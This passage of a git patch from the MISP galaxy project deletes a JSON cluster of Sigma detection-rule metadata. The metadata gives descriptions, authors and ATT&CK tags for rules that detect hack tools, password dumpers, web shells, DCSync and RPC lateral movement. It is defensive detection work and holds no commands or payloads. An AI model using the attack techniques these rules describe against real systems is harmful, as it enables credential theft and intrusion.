41 + "version": 42 } From 8947d0035b949d4acac8364fcc71390e3b383b17 Mon Sep 17 00:00:00 2001 From: Alexandre Dulaunoy Date: Tue, 22 Nov 2022 15:08:17 +0100 Subject: [PATCH 166/167] fix: [sigma rules] until new the PR and tool is done for sigma. The galaxy is removed. --- clusters/sigma-rules.json | 62608 ------------------------------------ galaxies/sigma-rules.json | 9 - 2 files changed, 62617 deletions(-) delete mode 100644 clusters/sigma-rules.json delete mode 100644 galaxies/sigma-rules.json diff --git a/clusters/sigma-rules.json b/clusters/sigma-rules.json deleted file mode 100644 index 94b2798..0000000 --- a/clusters/sigma-rules.json +++ /dev/null @@ -1,62608 +0,0 @@ -{ - "authors": [ - "@Joseliyo_Jstnk" - ], - "category": "rules", - "description": "MISP galaxy cluster based on Sigma Rules.", - "name": "Sigma-Rules", - "source": "https://github.com/jstnk9/MISP/tree/main/misp-galaxy/sigma", - "type": "sigma-rules", - "uuid": "9cf7cd2e-d5f1-48c4-9909-7896ba1c96b2", - "values": [ - { - "description": "Detects a highly relevant Antivirus alert that reports an exploitation framework", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/09/09", - "falsepositive": [ - "Unlikely" - ], - "filename": "av_exploiting.yml", - "level": "critical", - "logsource.category": "antivirus", - "logsource.product": "No established product", - "refs": [ - "https://www.nextron-systems.com/2018/09/08/antivirus-event-analysis-cheat-sheet-v1-4/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_exploiting.yml" - ], - "tags": [ - "attack.execution", - "attack.t1203", - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "238527ad-3c2c-4e4f-a1f6-92fd63adb864", - "value": "Antivirus Exploitation Framework Detection" - }, - { - "description": "Detects a highly relevant Antivirus alert that reports a hack tool or other attack tool", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/08/16", - "falsepositive": [ - "Unlikely" - ], - "filename": "av_hacktool.yml", - "level": "high", - "logsource.category": "antivirus", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_hacktool.yml", - "https://www.nextron-systems.com/2021/08/16/antivirus-event-analysis-cheat-sheet-v1-8-2/" - ], - "tags": [ - "attack.execution", - "attack.t1204" - ] - }, - "uuid": "fa0c05b6-8ad3-468d-8231-c1cbccb64fba", - "value": "Antivirus Hacktool Detection" - }, - { - "description": "Detects a highly relevant Antivirus alert that reports a password dumper", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/09/09", - "falsepositive": [ - "Unlikely" - ], - "filename": "av_password_dumper.yml", - "level": "critical", - "logsource.category": "antivirus", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_password_dumper.yml", - "https://www.virustotal.com/gui/file/5fcda49ee7f202559a6cbbb34edb65c33c9a1e0bde9fa2af06a6f11b55ded619/detection", - "https://www.nextron-systems.com/2018/09/08/antivirus-event-analysis-cheat-sheet-v1-4/" - ], - "tags": [ - "attack.credential_access", - "attack.t1003", - "attack.t1558", - "attack.t1003.001", - "attack.t1003.002" - ] - }, - "uuid": "78cc2dd2-7d20-4d32-93ff-057084c38b93", - "value": "Antivirus Password Dumper Detection" - }, - { - "description": "Detects the suspicious file that is created from PoC code against Windows Print Spooler Remote Code Execution Vulnerability CVE-2021-34527 (PrinterNightmare), CVE-2021-1675 .", - "meta": { - "author": "Sittikorn S, Nuttakorn T, Tim Shelton", - "creation_date": "2021/07/01", - "falsepositive": [ - "Unlikely, or pending PSP analysis" - ], - "filename": "av_printernightmare_cve_2021_34527.yml", - "level": "critical", - "logsource.category": "antivirus", - "logsource.product": "No established product", - "refs": [ - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", - "https://twitter.com/mvelazco/status/1410291741241102338", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_printernightmare_cve_2021_34527.yml", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1055" - ] - }, - "uuid": "6fe1719e-ecdf-4caf-bffe-4f501cb0a561", - "value": "Antivirus PrinterNightmare CVE-2021-34527 Exploit Detection" - }, - { - "description": "Detects a highly relevant Antivirus alert that reports ransomware", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/05/12", - "falsepositive": [ - "Unlikely" - ], - "filename": "av_ransomware.yml", - "level": "critical", - "logsource.category": "antivirus", - "logsource.product": "No established product", - "refs": [ - "https://www.nextron-systems.com/?s=antivirus", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_ransomware.yml" - ], - "tags": [ - "attack.t1486" - ] - }, - "uuid": "4c6ca276-d4d0-4a8c-9e4c-d69832f8671f", - "value": "Antivirus Ransomware Detection" - }, - { - "description": "Detects an Antivirus alert in a highly relevant file path or with a relevant file name", - "meta": { - "author": "Florian Roth, Arnim Rupp", - "creation_date": "2018/09/09", - "falsepositive": [ - "Unlikely" - ], - "filename": "av_relevant_files.yml", - "level": "high", - "logsource.category": "antivirus", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_relevant_files.yml", - "https://www.nextron-systems.com/2021/03/25/antivirus-event-analysis-cheat-sheet-v1-8/" - ], - "tags": [ - "attack.resource_development", - "attack.t1588" - ] - }, - "uuid": "c9a88268-0047-4824-ba6e-4d81ce0b907c", - "value": "Antivirus Relevant File Paths Alerts" - }, - { - "description": "Detects a highly relevant Antivirus alert that reports a web shell. It's highly recommended to tune this rule to the specific strings used by your anti virus solution by downloading a big webshell repo from e.g. github and checking the matches.", - "meta": { - "author": "Florian Roth, Arnim Rupp", - "creation_date": "2018/09/09", - "falsepositive": [ - "Unlikely" - ], - "filename": "av_webshell.yml", - "level": "high", - "logsource.category": "antivirus", - "logsource.product": "No established product", - "refs": [ - "https://www.virustotal.com/gui/file/bd1d52289203866645e556e2766a21d2275877fbafa056a76fe0cf884b7f8819/detection", - "https://github.com/tennc/webshell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_webshell.yml", - "https://www.virustotal.com/gui/file/e841675a4b82250c75273ebf0861245f80c6a1c3d5803c2d995d9d3b18d5c4b5/detection", - "https://www.virustotal.com/gui/file/b8702acf32fd651af9f809ed42d15135f842788cd98d81a8e1b154ee2a2b76a2/detection", - "https://www.virustotal.com/gui/file/a80042c61a0372eaa0c2c1e831adf0d13ef09feaf71d1d20b216156269045801/detection", - "https://www.virustotal.com/gui/file/7d3cb8a8ff28f82b07f382789247329ad2d7782a72dde9867941f13266310c80/detection", - "https://www.virustotal.com/gui/file/308487ed28a3d9abc1fec7ebc812d4b5c07ab025037535421f64c60d3887a3e8/detection", - "https://www.virustotal.com/gui/file/b219f7d3c26f8bad7e175934cd5eda4ddb5e3983503e94ff07d39c0666821b7e/detection", - "https://www.nextron-systems.com/2021/03/25/antivirus-event-analysis-cheat-sheet-v1-8/" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ] - }, - "uuid": "fdf135a2-9241-4f96-a114-bb404948f736", - "value": "Antivirus Web Shell Detection" - }, - { - "description": "Detects suspicious Django web application framework exceptions that could indicate exploitation attempts", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2017/08/05", - "falsepositive": [ - "Application bugs" - ], - "filename": "appframework_django_exceptions.yml", - "level": "medium", - "logsource.category": "application", - "logsource.product": "django", - "refs": [ - "https://docs.djangoproject.com/en/1.11/ref/exceptions/", - "https://docs.djangoproject.com/en/1.11/topics/logging/#django-security", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/django/appframework_django_exceptions.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "fd435618-981e-4a7c-81f8-f78ce480d616", - "value": "Django Framework Exceptions" - }, - { - "description": "Generic rule for SQL exceptions in Python according to PEP 249", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2017/08/12", - "falsepositive": [ - "Application bugs" - ], - "filename": "app_python_sql_exceptions.yml", - "level": "medium", - "logsource.category": "application", - "logsource.product": "python", - "refs": [ - "https://www.python.org/dev/peps/pep-0249/#exceptions", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/python/app_python_sql_exceptions.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "19aefed0-ffd4-47dc-a7fc-f8b1425e84f9", - "value": "Python SQL Exceptions" - }, - { - "description": "Detects remote RPC calls to create or execute a scheduled task via ATSvc", - "meta": { - "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", - "falsepositive": [ - "Unknown" - ], - "filename": "rpc_firewall_atsvc_lateral_movement.yml", - "level": "high", - "logsource.category": "application", - "logsource.product": "rpc_firewall", - "refs": [ - "https://github.com/zeronetworks/rpcfirewall", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", - "https://attack.mitre.org/techniques/T1053/", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://attack.mitre.org/tactics/TA0008/", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_lateral_movement.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1053", - "attack.t1053.002" - ] - }, - "uuid": "0fcd1c79-4eeb-4746-aba9-1b458f7a79cb", - "value": "Remote Schedule Task Lateral Movement via ATSvc" - }, - { - "description": "Detects remote RPC calls to read information about scheduled tasks via AtScv", - "meta": { - "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", - "falsepositive": [ - "Unknown" - ], - "filename": "rpc_firewall_atsvc_recon.yml", - "level": "high", - "logsource.category": "application", - "logsource.product": "rpc_firewall", - "refs": [ - "https://github.com/zeronetworks/rpcfirewall", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_recon.yml", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", - "https://attack.mitre.org/tactics/TA0007/" - ], - "tags": "No established tags" - }, - "uuid": "f177f2bc-5f3e-4453-b599-57eefce9a59c", - "value": "Remote Schedule Task Recon via AtScv" - }, - { - "description": "Detects remote RPC calls to MS-DRSR from non DC hosts, which could indicate DCSync / DCShadow attacks.", - "meta": { - "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", - "falsepositive": [ - "Unknown" - ], - "filename": "rpc_firewall_dcsync_attack.yml", - "level": "high", - "logsource.category": "application", - "logsource.product": "rpc_firewall", - "refs": [ - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-DRSR.md", - "https://github.com/zeronetworks/rpcfirewall", - "https://attack.mitre.org/techniques/T1033/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_dcsync_attack.yml", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47?redirectedfrom=MSDN", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/" - ], - "tags": [ - "attack.t1033" - ] - }, - "uuid": "56fda488-113e-4ce9-8076-afc2457922c3", - "value": "Possible DCSync Attack" - }, - { - "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR", - "meta": { - "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", - "falsepositive": [ - "Legitimate usage of remote file encryption" - ], - "filename": "rpc_firewall_efs_abuse.yml", - "level": "high", - "logsource.category": "application", - "logsource.product": "rpc_firewall", - "refs": [ - "https://github.com/zeronetworks/rpcfirewall", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-EFSR.md", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://attack.mitre.org/tactics/TA0008/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_efs_abuse.yml" - ], - "tags": [ - "attack.lateral_movement" - ] - }, - "uuid": "5f92fff9-82e2-48eb-8fc1-8b133556a551", - "value": "Remote Encrypting File System Abuse" - }, - { - "description": "Detects remote RPC calls to get event log information via EVEN or EVEN6", - "meta": { - "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", - "falsepositive": [ - "Remote administrative tasks on Windows Events" - ], - "filename": "rpc_firewall_eventlog_recon.yml", - "level": "high", - "logsource.category": "application", - "logsource.product": "rpc_firewall", - "refs": [ - "https://github.com/zeronetworks/rpcfirewall", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_eventlog_recon.yml", - "https://attack.mitre.org/tactics/TA0007/", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/" - ], - "tags": "No established tags" - }, - "uuid": "2053961f-44c7-4a64-b62d-f6e72800af0d", - "value": "Remote Event Log Recon" - }, - { - "description": "Detects remote RPC calls to create or execute a scheduled task", - "meta": { - "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", - "falsepositive": [ - "Unknown" - ], - "filename": "rpc_firewall_itaskschedulerservice_lateral_movement.yml", - "level": "high", - "logsource.category": "application", - "logsource.product": "rpc_firewall", - "refs": [ - "https://github.com/zeronetworks/rpcfirewall", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", - "https://attack.mitre.org/techniques/T1053/", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://attack.mitre.org/tactics/TA0008/", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_lateral_movement.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1053", - "attack.t1053.002" - ] - }, - "uuid": "ace3ff54-e7fd-46bd-8ea0-74b49a0aca1d", - "value": "Remote Schedule Task Lateral Movement via ITaskSchedulerService" - }, - { - "description": "Detects remote RPC calls to read information about scheduled tasks", - "meta": { - "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", - "falsepositive": [ - "Unknown" - ], - "filename": "rpc_firewall_itaskschedulerservice_recon.yml", - "level": "high", - "logsource.category": "application", - "logsource.product": "rpc_firewall", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_recon.yml", - "https://github.com/zeronetworks/rpcfirewall", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", - "https://attack.mitre.org/tactics/TA0007/" - ], - "tags": "No established tags" - }, - "uuid": "7f7c49eb-2977-4ac8-8ab0-ab1bae14730e", - "value": "Remote Schedule Task Recon via ITaskSchedulerService" - }, - { - "description": "Detects remote RPC calls to possibly abuse remote printing service via MS-RPRN / MS-PAR", - "meta": { - "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", - "falsepositive": [ - "Actual printing" - ], - "filename": "rpc_firewall_printing_lateral_movement.yml", - "level": "high", - "logsource.category": "application", - "logsource.product": "rpc_firewall", - "refs": [ - "https://github.com/zeronetworks/rpcfirewall", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pan/e44d984c-07d3-414c-8ffc-f8c8ad8512a8", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1", - "https://attack.mitre.org/tactics/TA0008/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_printing_lateral_movement.yml", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RPRN-PAR.md" - ], - "tags": [ - "attack.lateral_movement" - ] - }, - "uuid": "bc3a4b0c-e167-48e1-aa88-b3020950e560", - "value": "Remote Printing Abuse for Lateral Movement" - }, - { - "description": "Detects remote RPC calls that performs remote DCOM operations. These could be abused for lateral movement via DCOM or WMI.", - "meta": { - "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", - "falsepositive": [ - "Some administrative tasks on remote host" - ], - "filename": "rpc_firewall_remote_dcom_or_wmi.yml", - "level": "high", - "logsource.category": "application", - "logsource.product": "rpc_firewall", - "refs": [ - "https://github.com/zeronetworks/rpcfirewall", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_dcom_or_wmi.yml", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://attack.mitre.org/tactics/TA0008/", - "https://attack.mitre.org/techniques/T1021/003/", - "https://attack.mitre.org/techniques/T1047/" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.003", - "attack.t1047" - ] - }, - "uuid": "68050b10-e477-4377-a99b-3721b422d6ef", - "value": "Remote DCOM/WMI Lateral Movement" - }, - { - "description": "Detects remote RPC calls to modify the registry and possible execute code", - "meta": { - "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", - "falsepositive": [ - "Remote administration of registry values" - ], - "filename": "rpc_firewall_remote_registry_lateral_movement.yml", - "level": "high", - "logsource.category": "application", - "logsource.product": "rpc_firewall", - "refs": [ - "https://github.com/zeronetworks/rpcfirewall", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78", - "https://attack.mitre.org/techniques/T1112/", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://attack.mitre.org/tactics/TA0008/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_lateral_movement.yml" - ], - "tags": [ - "attack.lateral_movement" - ] - }, - "uuid": "35c55673-84ca-4e99-8d09-e334f3c29539", - "value": "Remote Registry Lateral Movement" - }, - { - "description": "Detects remote RPC calls to collect information", - "meta": { - "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", - "falsepositive": [ - "Remote administration of registry values" - ], - "filename": "rpc_firewall_remote_registry_recon.yml", - "level": "high", - "logsource.category": "application", - "logsource.product": "rpc_firewall", - "refs": [ - "https://github.com/zeronetworks/rpcfirewall", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_recon.yml", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://attack.mitre.org/tactics/TA0007/" - ], - "tags": "No established tags" - }, - "uuid": "d8ffe17e-04be-4886-beb9-c1dd1944b9a8", - "value": "Remote Registry Recon" - }, - { - "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-SRVS", - "meta": { - "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", - "falsepositive": [ - "Legitimate remote share creation" - ], - "filename": "rpc_firewall_remote_server_service_abuse.yml", - "level": "high", - "logsource.category": "application", - "logsource.product": "rpc_firewall", - "refs": [ - "https://github.com/zeronetworks/rpcfirewall", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_server_service_abuse.yml", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://attack.mitre.org/tactics/TA0008/", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md" - ], - "tags": [ - "attack.lateral_movement" - ] - }, - "uuid": "b6ea3cc7-542f-43ef-bbe4-980fbed444c7", - "value": "Remote Server Service Abuse" - }, - { - "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR", - "meta": { - "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", - "falsepositive": [ - "Administrative tasks on remote services" - ], - "filename": "rpc_firewall_remote_service_lateral_movement.yml", - "level": "high", - "logsource.category": "application", - "logsource.product": "rpc_firewall", - "refs": [ - "https://github.com/zeronetworks/rpcfirewall", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_service_lateral_movement.yml", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://attack.mitre.org/tactics/TA0008/", - "https://attack.mitre.org/techniques/T1569/002/", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SCMR.md" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1569.002" - ] - }, - "uuid": "10018e73-06ec-46ec-8107-9172f1e04ff2", - "value": "Remote Server Service Abuse for Lateral Movement" - }, - { - "description": "Detects remote RPC calls to create or execute a scheduled task via SASec", - "meta": { - "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", - "falsepositive": [ - "Unknown" - ], - "filename": "rpc_firewall_sasec_lateral_movement.yml", - "level": "high", - "logsource.category": "application", - "logsource.product": "rpc_firewall", - "refs": [ - "https://github.com/zeronetworks/rpcfirewall", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", - "https://attack.mitre.org/techniques/T1053/", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_lateral_movement.yml", - "https://attack.mitre.org/tactics/TA0008/", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1053", - "attack.t1053.002" - ] - }, - "uuid": "aff229ab-f8cd-447b-b215-084d11e79eb0", - "value": "Remote Schedule Task Lateral Movement via SASec-" - }, - { - "description": "Detects remote RPC calls to read information about scheduled tasks via SASec", - "meta": { - "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", - "falsepositive": [ - "Unknown" - ], - "filename": "rpc_firewall_sasec_recon.yml", - "level": "high", - "logsource.category": "application", - "logsource.product": "rpc_firewall", - "refs": [ - "https://github.com/zeronetworks/rpcfirewall", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_recon.yml", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", - "https://attack.mitre.org/tactics/TA0007/" - ], - "tags": "No established tags" - }, - "uuid": "0a3ff354-93fc-4273-8a03-1078782de5b7", - "value": "Remote Schedule Task Lateral Movement via SASec" - }, - { - "description": "Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.", - "meta": { - "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", - "falsepositive": [ - "Unknown" - ], - "filename": "rpc_firewall_sharphound_recon_account.yml", - "level": "high", - "logsource.category": "application", - "logsource.product": "rpc_firewall", - "refs": [ - "https://github.com/zeronetworks/rpcfirewall", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wkst/55118c55-2122-4ef9-8664-0c1ff9e168f3", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-WKST.md", - "https://attack.mitre.org/techniques/T1087/", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_account.yml" - ], - "tags": [ - "attack.t1087" - ] - }, - "uuid": "65f77b1e-8e79-45bf-bb67-5988a8ce45a5", - "value": "SharpHound Recon Account Discovery" - }, - { - "description": "Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.", - "meta": { - "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", - "falsepositive": [ - "Unknown" - ], - "filename": "rpc_firewall_sharphound_recon_sessions.yml", - "level": "high", - "logsource.category": "application", - "logsource.product": "rpc_firewall", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_sessions.yml", - "https://attack.mitre.org/techniques/T1033/", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/02b1f559-fda2-4ba3-94c2-806eb2777183", - "https://github.com/zeronetworks/rpcfirewall", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md" - ], - "tags": [ - "attack.t1033" - ] - }, - "uuid": "6d580420-ff3f-4e0e-b6b0-41b90c787e28", - "value": "SharpHound Recon Sessions" - }, - { - "description": "Detects suspicious Ruby on Rails exceptions that could indicate exploitation attempts", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2017/08/06", - "falsepositive": [ - "Application bugs" - ], - "filename": "appframework_ruby_on_rails_exceptions.yml", - "level": "medium", - "logsource.category": "application", - "logsource.product": "ruby_on_rails", - "refs": [ - "http://guides.rubyonrails.org/action_controller_overview.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/ruby/appframework_ruby_on_rails_exceptions.yml", - "https://github.com/rails/rails/blob/cd08e6bcc4cd8948fe01e0be1ea0c7ca60373a25/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb", - "http://edgeguides.rubyonrails.org/security.html", - "https://stackoverflow.com/questions/25892194/does-rails-come-with-a-not-authorized-exception" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "0d2c3d4c-4b48-4ac3-8f23-ea845746bb1a", - "value": "Ruby on Rails Framework Exceptions" - }, - { - "description": "Detects suspicious Spring framework exceptions that could indicate exploitation attempts", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2017/08/06", - "falsepositive": [ - "Application bugs" - ], - "filename": "appframework_spring_exceptions.yml", - "level": "medium", - "logsource.category": "application", - "logsource.product": "spring", - "refs": [ - "https://docs.spring.io/spring-security/site/docs/current/apidocs/overview-tree.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/spring/appframework_spring_exceptions.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "ae48ab93-45f7-4051-9dfe-5d30a3f78e33", - "value": "Spring Framework Exceptions" - }, - { - "description": "Detects SQL error messages that indicate probing for an injection attack", - "meta": { - "author": "Bjoern Kimminich", - "creation_date": "2017/11/27", - "falsepositive": [ - "Application bugs" - ], - "filename": "app_sqlinjection_errors.yml", - "level": "high", - "logsource.category": "application", - "logsource.product": "sql", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/sql/app_sqlinjection_errors.yml", - "http://www.sqlinjection.net/errors" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "8a670c6d-7189-4b1c-8017-a417ca84a086", - "value": "Suspicious SQL Error Messages" - }, - { - "description": "Detects when an user attached a Lambda layer to an existing function to override a library that is in use by the function, where their malicious code could utilize the function's IAM role for AWS API calls.\nThis would give an adversary access to the privileges associated with the Lambda service role that is attached to that function.\n", - "meta": { - "author": "Austin Songer", - "creation_date": "2021/09/23", - "falsepositive": [ - "Lambda Layer being attached may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Lambda Layer being attached from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "aws_attached_malicious_lambda_layer.yml", - 